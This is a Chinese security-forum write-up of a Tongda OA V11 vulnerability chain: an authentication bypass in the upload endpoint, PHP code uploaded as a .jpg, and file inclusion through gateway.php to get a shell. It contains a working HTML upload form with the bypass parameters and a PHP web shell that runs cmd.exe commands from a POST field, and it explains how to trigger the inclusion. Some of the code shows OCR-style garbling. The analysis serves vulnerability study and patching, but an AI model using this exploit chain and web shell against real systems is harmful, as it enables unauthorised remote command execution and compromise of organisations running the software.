通达 OA 任意文件上传 / 文件包含 GetShell - 先知社区

先知社区,先知安全技术社区

0x01 漏洞描述

通过绕过身份认证,攻击者可上传任意文件,配合文件包含即可出发远程恶意代码执行。

0x02 影响版本

V11

0x03 环境搭建

下载 通达 V11 (https://pan.baidu.com/s/15gcdBuOFrN1F9xVN7Q7GSA) 密码 enqx

使用 解密工具 (https://paper.seebug.org/203/) 对文件解密可获得所有解密代码

用于分析, 解密后的部分代码 (https://github.com/jas502n/OA-tongda-RCE/tree/master/tongda/decode) 将通达 V11 下载后直接运行 EXE 文件安装,访问 localhost 即可。

0x04 漏洞分析

下载官方公布的补丁(),可以看到V11版本更新两个文件 [upload.php, gateway.php]。

文件位置 /ispirit/im/upload.php 。对比补丁 upload.php 主要是修复了任意文件上传,修复前可以自己 POST 变量 \$P 绕过身份认证。

<pre>2 \$P = \$_POST["P"]; 4 if (isset(\$P) (\$P != "")) { 5 ob_start(); 6 include_once ("inc/session.php"); 7 session_id(\$P); 8 session_start(); 9 session_write_close(); 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</pre>	<pre>\$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$</pre>
12 include_once ("./auth.php"); 13-] 14-	12 include_once ("./auth.php");
<pre>15 include_once ("inc/utility_file.php"); 16 include_once ("inc/utility_msg.php");</pre>	13 include_once ("inc/utility_file.php"); 14 include_once ("inc/utility_msg.php"); V本知社区

(https://xzfile.aliyuncs.com/media/upload/picture/20200320233545-770dadd4-6ac0-1.png)

往下走遇到 \$DEST_UID 同样也可以通过 POST 的方式自行赋值。

```
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}
```

接着到了判断文件的点,此处可以知道文件上传的变量名为 ATTACHMENT,后边可以自己写一个文件上传的脚本上传文件。然后我们继续跟进 upload 函数。

```
if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == "1") {
        if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"]))
            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
        }
    }
    $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
</pre>
```

跳转到文件 inc/utility_file.php 。 对上传的文件进行了一系列的检查,包括黑名单等限制,那 么我们上传 jpg 格式的 php 代码,然后文件包含即可。

/

到此,我们通过文件上传脚本即可成功上传文件(脚本在后面),文件位置在 /attach/in/2003 不 再网站目录里,并且文件名前面有随机数,而默认的上传方式不会回显文件名。我们继续往下找 利用点。



(https://xzfile.aliyuncs.com/media/upload/picture/20200320233545-7742154c-6ac0-1.png)

upload.php 文尾的几个 MODE 方法可以看到有带文件名输出的点。倒数第二行输出的 databack 里有 CONTENT, 而 CONTENT 则包含了文件名。这里我们需要将 UPLOAD_MODE 和 MSG_CATE 赋值才行, 直接通 POST 即可赋值。

那么我们构造上传的脚本和恶意文件,并且通过上述位置能回显出文件名。

<html>

<body>

```
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="file" name="ATTACHMENT"></input>
</body>
</body>
```

<?php

```
//保存为jpg
```

```
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
```

?>

现在我们可以知道上传的文件名是什么了, 接着就是找文件包含的点了。



(https://xzfile.aliyuncs.com/media/upload/picture/20200320233545-77696c64-6ac0-1.png)

同样补丁文件也修改了 ispirit/interface/gateway.php ,我们直接查看该文件,在最后可以看到有一处文件包含,满足一定条件可以把 url 包含进来。

```
if ($json) {
   $json = stripcslashes($json);
   $json = (array) json_decode($json);
   foreach ($json as $key => $val ) {
       if ($key == "data") {
           $val = (array) $val;
           foreach ($val as $keys => $value ) {
               $keys = $value;
           }
        }
       if ($key == "url") {
           $url = $val;
       }
    }
   if ($url != "") {
       if (substr($url, 0, 1) == "/") {...}
       if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($u
           include_once $url;
       }
    }
    exit();
}
```

POST 给 json 赋值, 指定 key 为 url , value 为恶意文件位置就行。



更新官方发布的补丁 (http://www.tongda2000.com/news/673.php)